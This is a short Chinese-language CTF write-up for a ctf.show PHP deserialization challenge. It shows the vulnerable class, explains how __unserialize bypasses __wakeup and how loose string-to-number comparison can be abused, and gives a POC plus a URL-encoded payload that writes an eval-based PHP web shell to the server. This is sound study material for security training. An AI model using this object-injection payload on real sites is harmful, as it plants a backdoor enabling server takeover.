源码
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
这题的思路是
__destruct() ==> file_put_contents() 上传木马
但是这题有一个 __unserialize($data)
这个函数会让 __wakeup()
函数被忽略,并且会传递序列化字符串本身
既然 __wakeup()
不用绕过,那肯定是好事,但是我们仍然要考虑 __unserialize()
产生的影响,他会把
$this→code 改变,但好在 在php中有这样的特性:字符串可以直接转换成数字,如果字符串的前几位是数字,则转换后的数字等于这几位,如果字符串前几位不是有效数字,则转化为
数字0
那么构造POC
<?php
class ctfshowvip{
public $username = "877.php";
public $password = '<?php phpinfo();eval($_POST[passwd]);?>';
public $code = 0x36d;
}
echo(urlencode(serialize( new ctfshowvip())));
payload
http://2b951947-1765-4aa2-8b66-6c4b8fc8c513.challenge.ctf.show/?vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A39%3A%22%3C%3Fphp+phpinfo%28%29%3Beval%28%24_POST%5Bpasswd%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3Bi%3A877%3B%7D